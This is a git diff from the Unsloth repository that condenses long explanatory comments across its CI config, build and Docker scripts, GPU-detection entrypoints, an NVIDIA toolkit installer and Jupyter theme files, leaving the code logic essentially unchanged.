- # `ubuntu-latest` has no accelerator, and every one of these files imports
- # `unsloth.models`, which reaches `get_device_type()`. `UNSLOTH_ALLOW_CPU=1` is
- # this repo's documented flag for importing on a driverless host, and it is what
- # the rest of the CPU CI already uses. `UNSLOTH_ZOO_DISABLE_GPU_INIT` is not a
- # substitute: it is a zoo flag, and against the released zoo this job installs it
- # skips the init that binds `DEVICE_TYPE`, so `compiler.py` fails to import.
+ # Named one by one: testpaths is tests/security, so a bare pytest would widen silently.
+ # UNSLOTH_ALLOW_CPU=1 allows importing without a device; UNSLOTH_ZOO_DISABLE_GPU_INIT is not a
+ # substitute (it skips binding DEVICE_TYPE, so compiler.py fails to import).
- name: Run the torch-dependent security suites
env:
UNSLOTH_ALLOW_CPU: '1'
diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml
index 7065f73d437..1bfcbc695b0 100644
--- a/.pre-commit-config.yaml
+++ b/.pre-commit-config.yaml
@@ -1,11 +1,5 @@
-# pre-commit.ci reads its settings from here and only from here. These lived in a
-# root .pre-commit-ci.yaml for ten months, which is not a file pre-commit.ci looks
-# at, so none of them applied: every autoupdate commit on main used the default
-# message and arrived weekly, not monthly.
-#
-# autofix_prs is the default, but it is stated because the sync-allow-scripts-pins
-# hook below depends on it by name. skip and submodules are left out: they are
-# defaults that guard nothing, and unused settings are what produced this bug.
+# pre-commit.ci reads its settings only from this file. autofix_prs is stated because the
+# sync-allow-scripts-pins hook depends on it.
ci:
autofix_prs: true
autoupdate_schedule: monthly
@@ -24,10 +18,7 @@ repos:
hooks:
- id: ruff-format-with-kwargs
name: Ruff format with kwarg spacing
- # `python <script>` not a direct exec, for the reason spelled out on the
- # hook below: an autofix commit can drop the executable bit, and a
- # shebang-style entry then dies with "Executable not found". That is
- # twice now (#10519, #10523); this makes the mode bit irrelevant.
+ # `python <script>`, not a direct exec: autofix commits can drop the executable bit.
entry: python scripts/run_ruff_format.py
language: python
types: [python]
@@ -62,8 +53,7 @@ repos:
# heal without a human in the loop.
- id: sync-allow-scripts-pins
name: Sync allowScripts pins with the frontend lockfile
- # `python <script>` not a direct exec: autofix commits can drop the
- # executable bit, which kills shebang-style entries.
+ # `python <script>`, not a direct exec: autofix commits can drop the executable bit.
entry: python scripts/sync_allow_scripts_pins.py
args: [--fix]
language: python
diff --git a/build.sh b/build.sh
index ec953166d6d..f38f71fe705 100755
--- a/build.sh
+++ b/build.sh
@@ -4,20 +4,16 @@
set -euo pipefail
-# PyPI/Unsloth release publishing must use `./build.sh publish` (or an
-# equivalent stamp -> build -> verify-dist -> upload flow) so packaged Unsloth
-# artifacts include the display-only Unsloth release version.
+# Releases must use `./build.sh publish` (or stamp -> build -> verify-dist -> upload) so
+# artifacts carry the display-only release version.
# 1. Build frontend (Vite outputs to dist/)
cd studio/frontend
-# Clean stale dist to force a full rebuild
rm -rf dist
-# Tailwind v4's oxide scanner respects .gitignore in parent directories.
-# Python venvs create a .gitignore with "*" (ignore everything), which
-# prevents Tailwind from scanning .tsx source files for class names.
-# Temporarily hide any such .gitignore during the build, then restore it.
+# Tailwind v4's oxide scanner honours parent .gitignore files, and a venv's "*" .gitignore
+# hides the .tsx sources; hide them during the build.
_HIDDEN_GITIGNORES=()
_dir="$(pwd)"
while [ "$_dir" != "/" ]; do
@@ -35,10 +31,7 @@ _restore_gitignores() {
}
trap _restore_gitignores EXIT
-# Corporate-mirror / proxy escape hatch (#6491). When UNSLOTH_NPM_REGISTRY is set we
-# thread it as `--registry <url>` into the installs (overrides frontend/.npmrc's pinned
-# registry for both bun and npm; min-release-age / save-exact stay in force). Empty
-# array (the default) expands to nothing under `set -u`.
+# UNSLOTH_NPM_REGISTRY overrides frontend/.npmrc's registry for corporate mirrors.
_NPM_REGISTRY_ARGS=()
if [ -n "${UNSLOTH_NPM_REGISTRY:-}" ]; then
_NPM_REGISTRY_ARGS=(--registry "$UNSLOTH_NPM_REGISTRY")
@@ -64,12 +57,12 @@ if [ "$_install_ok" != "true" ]; then
exit 1
fi
fi
-npm run build # outputs to studio/frontend/dist/
+npm run build
_restore_gitignores
trap - EXIT
-# Validate CSS output -- catch truncated Tailwind builds before packaging
+# Catch truncated Tailwind builds before packaging.
MAX_CSS_SIZE=$(find dist/assets -name '*.css' -exec wc -c {} + 2>/dev/null | sort -n | tail -1 | awk '{print $1}')
if [ -z "$MAX_CSS_SIZE" ]; then
echo "❌ ERROR: No CSS files were emitted into dist/assets."
@@ -115,15 +108,8 @@ fi
_restore_studio_build_info
trap - EXIT
-# 5. Optionally publish
-# Wheel only. The sdist is still built above, because --verify-dist checks the
-# release stamp in every artifact and a local sdist is the cheapest way to catch
-# a packaging change that only shows up in the source tree. It is not uploaded.
-# A release is ~169MB across both artifacts, and the PyPI project size limit is
-# 10GB; the sdist is the larger half. Uploading only the wheel halves what each
-# release costs against that limit. Nothing is lost for installers: the wheel is
-# py3-none-any, so pip and uv resolve to it on every platform and Python, and the
-# sdist is only reachable through --no-binary or a mirror that vendors sources.
+# 5. Optionally publish. Wheel only: the sdist is still built for --verify-dist, but the
+# py3-none-any wheel covers every installer and halves the size against PyPI's limit.
if [ "${1:-}" = "publish" ]; then
python -m twine upload dist/*.whl
fi
diff --git a/docker/build.sh b/docker/build.sh
index 504dbb21d82..be0bdfdbdf1 100755
--- a/docker/build.sh
+++ b/docker/build.sh
@@ -45,8 +45,7 @@ UNSLOTH_ZOO_REF="${UNSLOTH_ZOO_REF:-main}"
UNSLOTH_NOTEBOOKS_REF="${UNSLOTH_NOTEBOOKS_REF:-main}"
if [[ $ROCM -eq 1 ]]; then
IMAGE_NAME="${IMAGE_NAME:-unsloth-rocm}"
- # 7.2 is the floor: rocm6.4 tops out at torch 2.9.1, below what unsloth-zoo
- # wants, and RDNA4 (gfx1200/1201) has no kernels before 7.x.
+ # 7.2 is the floor: rocm6.4 tops out below what unsloth-zoo needs, and RDNA4 needs 7.x.
ROCM_VERSION="${ROCM_VERSION:-7.2.4}"
# the index follows the base unless named (7.2.4 -> rocm7.2)
TORCH_INDEX_URL="${TORCH_INDEX_URL:-https://download.pytorch.org/whl/rocm${ROCM_VERSION%.*}}"
@@ -56,18 +55,13 @@ else
UBUNTU_VERSION="${UBUNTU_VERSION:-24.04}"
fi
-# Frozen to a commit here, for the same reason LLAMA_PREBUILT_TAG is resolved below and
-# the publish workflow freezes both refs with git ls-remote: docker matches a RUN layer
-# on the COMMAND STRING alone, so with the default "main" the pip-install layer is a
-# cache HIT on every rebuild and the image keeps the commits of the first build while
-# reporting success. A sha changes the build arg exactly when the branch moves.
+# Resolve refs to a commit: docker caches RUN layers by command string, so "main" would
+# never rebuild.
resolve_git_ref() {
local repo="$1" ref="$2" ls_out sha
printf '%s' "$ref" | grep -Eq '^[0-9a-f]{40}$' && { printf '%s' "$ref"; return 0; }
command -v git >/dev/null 2>&1 || { printf '%s' "$ref"; return 0; }
- # ls-remote exits 0 whether or not a ref matched, so a non-zero exit means the
- # remote was never reached; an offline build cannot install from git anyway, so
- # warn and pass the name through rather than fail before docker has even started.
+ # ls-remote fails only when the remote is unreachable; warn and pass the name through.
if ! ls_out="$(git ls-remote "$repo" "$ref" 2>/dev/null)"; then
echo "warning: ${repo} unreachable; passing mutable ref '${ref}' (docker may reuse a cached layer)" >&2
printf '%s' "$ref"
@@ -79,17 +73,12 @@ resolve_git_ref() {
}
UNSLOTH_REF="$(resolve_git_ref https://github.com/unslothai/unsloth "$UNSLOTH_REF")"
UNSLOTH_ZOO_REF="$(resolve_git_ref https://github.com/unslothai/unsloth-zoo "$UNSLOTH_ZOO_REF")"
-# The baked notebooks are one more RUN layer keyed on a mutable ref, and the publish
-# workflow already freezes this one; leaving it out here meant a rebuild after
-# unslothai/notebooks moved silently kept the old set, and stamped the old commit
-# into .unsloth_template_commit so the image misreported which set it carried.
-# Dockerfile.rocm carries neither the notebooks nor the llama.cpp prebuilt, so the
-# ROCm build skips both lookups rather than printing a tag it never passes.
+# Freeze the notebooks ref for the same layer-cache reason. Dockerfile.rocm carries neither
+# the notebooks nor the llama.cpp prebuilt.
if [[ $ROCM -eq 0 ]]; then
UNSLOTH_NOTEBOOKS_REF="$(resolve_git_ref https://github.com/unslothai/notebooks "$UNSLOTH_NOTEBOOKS_REF")"
-# Resolved to a concrete tag here, so the build-arg changes only on a new release and
-# layer caching stays correct. Pin with LLAMA_PREBUILT_TAG=... for a frozen build.
+# Resolved to a concrete tag so layer caching is correct; pin with LLAMA_PREBUILT_TAG.
resolve_latest_llama_tag() {
curl -fsSL -o /dev/null -w '%{url_effective}' \
"https://github.com/unslothai/llama.cpp/releases/latest" 2>/dev/null \
@@ -146,8 +135,7 @@ echo " unsloth @${UNSLOTH_REF}"
echo " unsloth-zoo @${UNSLOTH_ZOO_REF}"
echo " llama.cpp ${LLAMA_PREBUILT_TAG}"
echo " notebooks @${UNSLOTH_NOTEBOOKS_REF}"
-# Read the arch list out of the Dockerfile rather than repeating it: the hand-copied
-# banner had already drifted. Bare filename because the script cd'd to its own dir.
+# Read the arch list from the Dockerfile rather than repeating it.
ARCH_LIST="$(sed -n 's/^[[:space:]]*TORCH_CUDA_ARCH_LIST="\([^"]*\)".*/\1/p' \
Dockerfile | head -n1)"
echo " arch list ${ARCH_LIST:-unknown}"
@@ -168,7 +156,7 @@ DOCKER_BUILDKIT=1 docker build \
echo
echo "Built ${IMAGE_NAME}:${TAG}"
echo
-# name the GPU only from a successful query: a failing nvidia-smi prints its error on stdout
+# A failing nvidia-smi prints its error on stdout.
HOST_GPU=""
if HOST_GPU_QUERY="$(nvidia-smi --query-gpu=name --format=csv,noheader 2>/dev/null)"; then
HOST_GPU="$(printf '%s\n' "$HOST_GPU_QUERY" | head -1)"
diff --git a/docker/entrypoint-rocm.sh b/docker/entrypoint-rocm.sh
index 425cd9c7d24..820e97e9901 100644
--- a/docker/entrypoint-rocm.sh
+++ b/docker/entrypoint-rocm.sh
@@ -13,9 +13,7 @@
# docker run -e UNSLOTH_SKIP_GPU_CHECK=1 ...
set -euo pipefail
-# Studio image: relink its code into the home (maybe an earlier image's volume) before
-# anything reads the venv, as entrypoint.sh does on the CUDA image. Fatal on failure
-# (a half-linked home); no-op on the base image, which has no linker.
+# Relink the Studio code into the home before anything reads the venv; fatal on failure.
if [[ -x /usr/local/bin/unsloth-studio-home ]]; then
/usr/local/bin/unsloth-studio-home || {
echo "ERROR: could not link Unsloth Studio's code into ${UNSLOTH_STUDIO_HOME:-/opt/unsloth-studio}; see the messages above" >&2
@@ -35,10 +33,8 @@ err() { printf "\033[1;31mERROR:\033[0m %s\n" "$*" >&2; }
warn() { printf "\033[1;33mWARN:\033[0m %s\n" "$*" >&2; }
note() { printf "\033[1;36mNOTE:\033[0m %s\n" "$*" >&2; }
-# UNSLOTH_DEV_ROOT prefixes the /dev probes (DESTDIR idiom) so the regression
-# tests can stage a device tree; leave it unset in normal use.
+# UNSLOTH_DEV_ROOT prefixes /dev probes for the regression tests; unset in normal use.
DEV_ROOT="${UNSLOTH_DEV_ROOT:-}"
-# What the image was built with; written by Dockerfile.rocm.
BUILD_INFO="${UNSLOTH_ROCM_BUILD_INFO:-/etc/unsloth-rocm-build}"
IMAGE_ROCM=""
IMAGE_GFX=""
@@ -46,9 +42,8 @@ if [[ -r "$BUILD_INFO" ]]; then
IMAGE_ROCM="$(sed -n 's/^ROCM_VERSION=//p' "$BUILD_INFO")"
IMAGE_GFX="$(sed -n 's/^ROCM_GFX=//p' "$BUILD_INFO")"
fi
-# A per-arch image has native kernels for its gfx; a leftover
-# HSA_OVERRIDE_GFX_VERSION (the generic-wheel workaround) would make ROCr present
-# an arch this image has no kernels for. install.sh clears it the same way.
+# A per-arch image has native kernels; a leftover HSA_OVERRIDE_GFX_VERSION would present
+# an arch the image lacks.
case "$IMAGE_GFX" in
gfx1150|gfx1151|gfx1152|gfx1200|gfx1201)
if [[ -n "${HSA_OVERRIDE_GFX_VERSION:-}" ]]; then
@@ -57,28 +52,18 @@ case "$IMAGE_GFX" in
fi ;;
esac
-# The skip flag bypasses the diagnostics only; the override cleanup above
-# still applies, since it changes what the command sees.
+# The skip flag bypasses diagnostics only; the override cleanup above still applies.
if [[ "${UNSLOTH_SKIP_GPU_CHECK:-0}" == "1" ]]; then
sync_notebooks
exec "$@"
fi
-# --- Check 1: a device node the HSA runtime can open ------------------------
-# Two ways in, and only one of them is /dev/kfd:
-# KFD the AMD Kernel Fusion Driver node, from the Linux amdgpu driver. Must
-# exist AND be readable before any HIP call can succeed.
-# DXG WSL2, where amdgpu is not loaded and there is no /dev/kfd at all. The
-# standard hsa-rocr runtime reaches the card through librocdxg over
-# /dev/dxg when HSA_ENABLE_DXG_DETECTION=1. Same evidence install.sh
-# gates a WSL host on (_infer_linux_amd_gfx_arch).
-# The DXG path takes the rest of the checks unchanged: check 3 asks torch, which
-# is the only gate that has ever mattered.
+# Check 1: /dev/kfd (amdgpu), or /dev/dxg on WSL2 via librocdxg with
+# HSA_ENABLE_DXG_DETECTION=1. Check 3 (torch) is the real gate.
UNSLOTH_ROCM_DEV_PATH=kfd
if [[ ! -e "$DEV_ROOT/dev/kfd" && -e "$DEV_ROOT/dev/dxg" ]]; then
_dxg_lib=""
- # UNSLOTH_ROCM_DXG_LIBDIRS pins the search for the regression tests, which must
- # not answer for whatever ROCm the machine running them happens to have.
+ # Pins the search for the regression tests.
for _d in ${UNSLOTH_ROCM_DXG_LIBDIRS:-/opt/rocm/lib /opt/rocm/lib64 /opt/rocm-*/lib \
/opt/rocm-*/lib64 /usr/lib/x86_64-linux-gnu}; do
if [[ -e "$_d/librocdxg.so" || -e "$_d/librocdxg.so.1" ]]; then
@@ -88,8 +73,7 @@ if [[ ! -e "$DEV_ROOT/dev/kfd" && -e "$DEV_ROOT/dev/dxg" ]]; then
done
if [[ -n "$_dxg_lib" ]]; then
UNSLOTH_ROCM_DEV_PATH=dxg
- # Only the runtime reads this, and only when asked; exporting it here means
- # a plain `docker run --device /dev/dxg` works without the caller knowing.
+ # Exported so a plain `docker run --device /dev/dxg` works.
export HSA_ENABLE_DXG_DETECTION="${HSA_ENABLE_DXG_DETECTION:-1}"
note "no /dev/kfd, but /dev/dxg and librocdxg are present: using the WSL2 DXG bridge."
else
@@ -153,12 +137,7 @@ MSG
exit 1
fi
-# --- Check 2: what rocm-smi sees (advisory) --------------------------------
-# rocm-smi does not list every APU (measured on gfx1151: no GPU[..] line inside
-# the container), so it cannot be the gate; check 3 asks torch itself. It reads
-# the amdgpu sysfs, which the DXG bridge has no equivalent of (measured: "Driver
-# not initialized"), and its advice below is about /dev/dri and group ids, which
-# do not exist on WSL: skip it there.
+# Check 2 (advisory): rocm-smi misses some APUs and has nothing to read under DXG.
if [[ "$UNSLOTH_ROCM_DEV_PATH" == "dxg" ]]; then
note "skipping rocm-smi: it reads the amdgpu sysfs, which the DXG bridge does not expose."
elif ! command -v rocm-smi >/dev/null 2>&1; then
@@ -172,9 +151,7 @@ else
rocm-smi --showid 2>/dev/null | grep 'GPU\[' | head -4 >&2
fi
-# --- Check 3: a HIP torch that can see the device ---------------------------
-# ROCm maps the CUDA Python API, so torch.cuda.is_available() is the test;
-# torch.version.hip first, so a CUDA or CPU torch is named, not the host driver.
+# Check 3: torch.cuda.is_available() on a HIP build; check torch.version.hip first.
IMAGE_ROCM="$IMAGE_ROCM" UNSLOTH_ROCM_DEV_PATH="$UNSLOTH_ROCM_DEV_PATH" python - >&2 <<'PY' || exit 1
import os
import sys
@@ -239,9 +216,7 @@ print("If HSA_OVERRIDE_GFX_VERSION is set, a wrong value also produces this.")
sys.exit(1)
PY
-# --- Check 4: the card's gfx arch against this image's wheels ---------------
-# gcnArchName carries the gfx code (e.g. "gfx1100:sramecc+"). Not a gate (ROCm
-# often runs unlisted arches), but where the user learns which build to use.
+# Check 4 (not a gate): the card's gfx arch vs this image's wheels.
IMAGE_ROCM="$IMAGE_ROCM" IMAGE_GFX="$IMAGE_GFX" python - >&2 <<'PY' || exit 1
import os
import sys
diff --git a/docker/entrypoint.sh b/docker/entrypoint.sh
index 2fd50203605..d6c238b35a3 100755
--- a/docker/entrypoint.sh
+++ b/docker/entrypoint.sh
@@ -7,8 +7,7 @@
# Bypass for offline tooling/docs/CI: docker run -e UNSLOTH_SKIP_GPU_CHECK=1 ...
set -euo pipefail
-# Studio image: relink its code into the home (maybe an earlier image's volume) before the
-# CUDA tool selection reads the venv. Fatal on failure (a half-linked home); no-op on the base image.
+# Relink the Studio code into the home before the CUDA tool selection reads the venv.
if [[ -x /usr/local/bin/unsloth-studio-home ]]; then
/usr/local/bin/unsloth-studio-home || {
echo "ERROR: could not link Unsloth Studio's code into ${UNSLOTH_STUDIO_HOME:-/opt/unsloth-studio}; see the messages above" >&2
@@ -16,9 +15,8 @@ if [[ -x /usr/local/bin/unsloth-studio-home ]]; then
}
fi
-# CUDA 13 ptxas + NVRTC are baked only for sm_103 and sm_121, which cu12.8 cannot
-# target and which ship on >=580 drivers; every other arch is cu12.8 on the 570-579
-# floor, where a cu13 cubin cannot load. So the choice is per DEVICE at boot.
+# CUDA 13 ptxas/NVRTC are only for sm_103/sm_121 (need >=580 drivers); everything else uses
+# cu12.8 on the 570 floor. Chosen per device at boot.
select_cuda_jit_tools() {
local caps="" cc nvrtc_dir need_cu13=0
if command -v nvidia-smi >/dev/null 2>&1; then
diff --git a/docker/fetch_llama_prebuilt.py b/docker/fetch_llama_prebuilt.py
index 4a5e1d9b412..77bdd0c62ed 100644
--- a/docker/fetch_llama_prebuilt.py
+++ b/docker/fetch_llama_prebuilt.py
@@ -172,9 +172,7 @@ def main() -> None:
if os.path.isdir(conversion):
shutil.copytree(conversion, os.path.join(install_dir, "conversion"), dirs_exist_ok = True)
- # Studio's freshness check wants the install_llama_prebuilt.py schema: "tag" is the
- # NORMALIZED BASE build, "release_tag" the full release. No timestamp, so layers
- # stay identical.
+ # Matches install_llama_prebuilt.py's schema. No timestamp, so layers stay identical.
marker_path = os.path.join(install_dir, "UNSLOTH_PREBUILT_INFO.json")
try:
with open(marker_path) as f:
@@ -193,9 +191,8 @@ def main() -> None:
f"release_tag={marker['release_tag']} published_repo={RELEASE_REPO}"
)
- # Mirror into build/bin/ so Studio's setup.sh sees a complete local build and skips
- # its source-build fallback, which would compile CPU-only llama.cpp over the baked
- # CUDA bundle. Hardlinks keep the $ORIGIN rpath.
+ # Mirror into build/bin/ so setup.sh skips its CPU-only source build. Hardlinks keep the
+ # $ORIGIN rpath.
build_bin = os.path.join(install_dir, "build", "bin")
os.makedirs(build_bin, exist_ok = True)
for entry in os.listdir(install_dir):
diff --git a/docker/install_nvidia_toolkit.sh b/docker/install_nvidia_toolkit.sh
index ebf8b5803a8..996d68fd1f2 100755
--- a/docker/install_nvidia_toolkit.sh
+++ b/docker/install_nvidia_toolkit.sh
@@ -20,16 +20,10 @@ command -v docker >/dev/null 2>&1 \
curl -fsSL https://get.docker.com -o get-docker.sh && sh get-docker.sh
(https://docs.docker.com/engine/install/ covers Docker Desktop and the distro packages), then run this again." 2
-# Every grep of a command's output below reads a variable, not a pipe. `grep -q` exits on the first
-# match and closes the pipe; `set -o pipefail` above then promotes the producer's SIGPIPE (141) to the
-# status of the whole pipeline, so a match reads as a miss whenever the producer was still writing.
-# Measured on `docker info` with a 50ms pause mid-output: status 141, the Docker Desktop guard skipped,
-# and the script elevating to install on the one daemon it exists to leave alone.
+# Grep variables, not pipes: under pipefail `grep -q` closing the pipe turns the producer's
+# SIGPIPE into a false miss.
-# Mac and Windows shells never need the toolkit (no NVIDIA GPU on a Mac; Docker Desktop's
-# WSL 2 backend brings its own), so answer before the endpoint check, which sent colima and
-# Rancher Desktop users off to configure a socket. Only a remote Linux daemon gets the
-# remote answer; DOCKER_CONTEXT over DOCKER_HOST over the selected context, as below.
+# Mac and Windows never need the toolkit; answer before the endpoint check.
host_os="$(uname -s)"
case "$host_os" in
Darwin|MINGW*|MSYS*|CYGWIN*)
@@ -130,19 +124,12 @@ fi
NVSMI="$(command -v nvidia-smi 2>/dev/null || true)"
[[ -z "$NVSMI" && -x "${WSL_LIB_DIR}/nvidia-smi" ]] && NVSMI="${WSL_LIB_DIR}/nvidia-smi"
-# sudo strips every LD_* variable unconditionally, -E or not, as an anti-preload
-# measure. A host that keeps the NVIDIA userspace libraries outside ldconfig and
-# reaches them through LD_LIBRARY_PATH therefore loses them the moment this script
-# elevates: nvidia-smi is on PATH, runs, and exits with "couldn't find
-# libnvidia-ml.so", which carries no GPU line and used to be reported here as a
-# missing driver. Measured on Colab (T4, driver 580.82.07): libs in
-# /usr/lib64-nvidia, absent from `ldconfig -p`, LD_LIBRARY_PATH set for the user
-# and UNSET under sudo. Put the directory back when it is the only thing wrong.
+# sudo strips LD_* variables, so restore LD_LIBRARY_PATH for hosts whose NVIDIA libraries
+# are outside ldconfig.
nvsmi() { LD_LIBRARY_PATH="${NV_LIB_DIR}${NV_LIB_DIR:+${LD_LIBRARY_PATH:+:}}${LD_LIBRARY_PATH:-}" "$NVSMI" "$@"; }
NV_LIB_DIR=""
gpu_list=""
-# 2>&1, not 2>/dev/null: the loader's complaint is the evidence that separates a
-# missing driver from a driver this shell cannot reach, and it goes to stderr.
+# 2>&1: the loader's complaint separates a missing driver from an unreachable one.
[[ -n "$NVSMI" ]] && gpu_list="$(nvsmi -L 2>&1 || true)"
if [[ -n "$NVSMI" ]] && grep -qi 'libnvidia-ml' <<<"$gpu_list"; then
for _dir in /usr/lib64-nvidia /usr/local/nvidia/lib64 "$WSL_LIB_DIR"; do
@@ -154,9 +141,7 @@ if [[ -n "$NVSMI" ]] && grep -qi 'libnvidia-ml' <<<"$gpu_list"; then
done
fi
if [[ -z "$NVSMI" ]] || ! grep -q '^GPU' <<<"$gpu_list"; then
- # Still a library complaint after the search: the driver is there and only the
- # loader cannot see it, so saying "no driver" would send the reader to install
- # one they already have.
+ # A library complaint means the driver exists but the loader cannot see it.
if grep -qi 'libnvidia-ml' <<<"$gpu_list"; then
fail "nvidia-smi cannot load libnvidia-ml.so, so this script cannot read the driver:
${gpu_list%%$'\n'*}
@@ -176,9 +161,7 @@ if [[ -z "$NVSMI" ]] || ! grep -q '^GPU' <<<"$gpu_list"; then
Unsloth images need driver 570.26 or newer." 2
fi
MIN_DRIVER=570.26
-# `sed -n 1p`, not `head -1`: head closes the pipe after one line, and nvidia-smi prints one per GPU,
-# so on a multi-GPU host the SIGPIPE becomes the substitution's status and `set -e` kills the script
-# here with nothing printed. sed reads to the end. (Measured: exit 141, no output, 8 GPUs.)
+# `sed -n 1p`, not `head -1`: head's SIGPIPE kills the script under set -e on multi-GPU hosts.
DRIVER="$(nvsmi --query-gpu=driver_version --format=csv,noheader 2>/dev/null | sed -n 1p | tr -d '[:space:]')"
driver_ok() {
[[ -n "$DRIVER" ]] && [[ "$(printf '%s\n' "$MIN_DRIVER" "$DRIVER" | sort -V | head -1)" == "$MIN_DRIVER" ]]
diff --git a/docker/jupyter/login.html b/docker/jupyter/login.html
index ac029434f74..051898da69d 100644
--- a/docker/jupyter/login.html
+++ b/docker/jupyter/login.html
@@ -15,13 +15,9 @@
color: hsl(60, 30%, 96%);
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
}
- /* Hide the stock top header (jupyter_server's index.css uses a higher-
- specificity selector, so force it); the centered card carries the brand. */
+ /* jupyter_server's index.css uses a higher-specificity selector, so force it. */
#header, .header-bar { display: none !important; }
- /* Column, not the flex default row: #site holds two children (the login card
- and the AGPLv3 attribution). As a row they sat side by side, pushing the card
- left of centre and the attribution up to the top-right. Stack them so the card
- is horizontally centred and the attribution sits below it as a footer. */
+ /* Column: #site holds the card and the attribution footer. */
#site { display: flex; flex-direction: column; align-items: center; justify-content: flex-start; }
.unsloth-login-card {
margin-top: 11vh;
@@ -35,7 +31,6 @@
box-shadow: 0 10px 34px rgba(0, 0, 0, 0.45);
}
.unsloth-login-card img.logo { height: 72px; width: auto; margin-bottom: 14px; }
- /* A random Unsloth Studio sloth sticker, shown like the Studio login screen. */
.unsloth-login-card img.sloth {
height: 104px; width: 104px; object-fit: contain;
margin: 2px auto 10px; display: block;
diff --git a/docker/jupyter/unsloth_labext/.yarnrc.yml b/docker/jupyter/unsloth_labext/.yarnrc.yml
index 985b3f37430..a65c292012c 100644
--- a/docker/jupyter/unsloth_labext/.yarnrc.yml
+++ b/docker/jupyter/unsloth_labext/.yarnrc.yml
@@ -1,5 +1,3 @@
nodeLinker: node-modules
-# Dependencies never run install scripts here: the build only needs tsc and
-# jupyter-builder, and yarn.lock is committed so the image build installs with
-# `jlpm install --immutable` (no fresh resolution of caret ranges).
+# Never run install scripts; yarn.lock is committed for `jlpm install --immutable`.
enableScripts: false
diff --git a/docker/jupyter/unsloth_labext/src/cellNav.ts b/docker/jupyter/unsloth_labext/src/cellNav.ts
index de8ba36e6c3..c7d867b638f 100644
--- a/docker/jupyter/unsloth_labext/src/cellNav.ts
+++ b/docker/jupyter/unsloth_labext/src/cellNav.ts
@@ -59,9 +59,7 @@ const cellNavPlugin: JupyterFrontEndPlugin<void> = {
) {
return;
}
- // `lineCount` counts LOGICAL lines, but JupyterLab wraps markdown and raw
- // editors by default, so one logical line can own several visual rows and a
- // logical test makes them unreachable: every arrow leaves the cell.
+ // `lineCount` counts logical lines, but wrapped editors have several visual rows each.
const view = editor instanceof CodeMirrorEditor ? editor.editor : null;
if (view) {
const range = view.state.selection.main;
diff --git a/docker/jupyter/unsloth_labext/src/outputSelect.ts b/docker/jupyter/unsloth_labext/src/outputSelect.ts
index 50ae370d6fc..f7589e41317 100644
--- a/docker/jupyter/unsloth_labext/src/outputSelect.ts
+++ b/docker/jupyter/unsloth_labext/src/outputSelect.ts
@@ -56,9 +56,7 @@ const outputSelectPlugin: JupyterFrontEndPlugin<void> = {
activate: (_app: JupyterFrontEnd): void => {
// a click on an image/widget output leaves no text selection
let lastPointerOutput: HTMLElement | null = null;
- // ...but only while it is still in the document AND in the ACTIVE cell: J/K
- // navigation fires no pointer event, so a stale value selects an earlier cell's
- // output, and a re-executed cell leaves a detached range that selects nothing
+ // Only while still attached and in the ACTIVE cell: J/K navigation fires no pointer event.
const rememberedOutput = (): HTMLElement | null => {
const output = lastPointerOutput;
if (!output || !output.isConnected) {
diff --git a/docker/jupyter/unsloth_labext/style/index.css b/docker/jupyter/unsloth_labext/style/index.css
index 0046a04a363..9d43220b324 100644
--- a/docker/jupyter/unsloth_labext/style/index.css
+++ b/docker/jupyter/unsloth_labext/style/index.css
@@ -1,6 +1,3 @@
-/* "Unsloth Dark" theme entry point.
- * Start from the built-in JupyterLab Dark theme (theme.css pulls in its full
- * variable set + base rules), then override the palette with the Sublime/Colab
- * Monokai colors in variables.css. */
+/* "Unsloth Dark": JupyterLab Dark plus the Monokai palette in variables.css. */
@import url('@jupyterlab/theme-dark-extension/style/theme.css');
@import url('./variables.css');
diff --git a/docker/jupyter/unsloth_labext/style/variables.css b/docker/jupyter/unsloth_labext/style/variables.css
index c95d90fcf4d..53b9031a6f7 100644
--- a/docker/jupyter/unsloth_labext/style/variables.css
+++ b/docker/jupyter/unsloth_labext/style/variables.css
@@ -1,13 +1,5 @@
-/* Unsloth Dark = Sublime/Colab "Monokai" palette, overriding JupyterLab Dark.
- * Applied on :root because the theme manager only loads this file while the
- * "Unsloth Dark" theme is active, so it never affects the light theme.
- *
- * Exact HSL from Sublime "Monokai":
- * bg hsl(70,8%,15%) fg hsl(60,30%,96%) selection hsla(55,8%,31%,.7)
- * comment hsl(50,11%,41%) string hsl(54,70%,68%) number hsl(261,100%,75%)
- * keyword hsl(338,95%,56%) function hsl(80,76%,53%) builtin hsl(190,81%,67%)
- * param hsl(32,98%,56%) error hsl(0,93%,59%)
- */
+/* Monokai palette overriding JupyterLab Dark. :root is safe: the theme manager only
+ * loads this file while "Unsloth Dark" is active. */
:root {
/* surfaces */
--jp-layout-color0: hsl(70, 8%, 12%);
@@ -88,7 +80,6 @@
--jp-mirror-editor-matchingbracket-color: hsl(54, 70%, 68%);
}
-/* Active line tint inside the code editor (Monokai line_highlight). */
.cm-editor .cm-activeLine {
background-color: hsla(55, 11%, 30%, 0.35);
}
diff --git a/docker/run.sh b/docker/run.sh
index 98f51b9591a..9a10f1395ca 100755
--- a/docker/run.sh
+++ b/docker/run.sh
@@ -58,8 +58,7 @@
# UNSLOTH_ROCM_GFX_ARCH gfx arch override (e.g. gfx1151)
set -euo pipefail
-# --rocm is ours only as the FIRST argument; everything after it is the
-# container's command line, so a command's own --rocm is left alone.
+# --rocm is ours only as the FIRST argument.
ROCM=0
[[ "${UNSLOTH_ROCM:-}" == "1" ]] && ROCM=1
if [[ $# -gt 0 && "$1" == "--rocm" ]]; then
@@ -67,23 +66,16 @@ if [[ $# -gt 0 && "$1" == "--rocm" ]]; then
shift
fi
-# UNSLOTH_DEV_ROOT prefixes the /dev probes (DESTDIR idiom). It exists so the
-# regression tests can stage a fake device tree; leave it unset in normal use.
+# UNSLOTH_DEV_ROOT prefixes /dev probes for the regression tests; unset in normal use.
DEV_ROOT="${UNSLOTH_DEV_ROOT:-}"
-# WSL2 has no /dev/kfd: the amdgpu kernel driver is not loaded there and the card
-# is reached over the DXG bridge instead. /dev/dxg plus librocdxg is the same GPU
-# evidence install.sh gates on for a WSL host. The bridge is userspace, so this
-# needs a device and an env var, not group ids: WSL exposes /dev/dxg to everyone
-# and has no render group.
+# WSL2 has no /dev/kfd: the card is reached over /dev/dxg and librocdxg, with no groups.
wsl_dxg_host() {
[[ ! -e "$DEV_ROOT/dev/kfd" && -e "$DEV_ROOT/dev/dxg" ]]
}
amd_dxg_flags() {
printf '%s\n' --device /dev/dxg
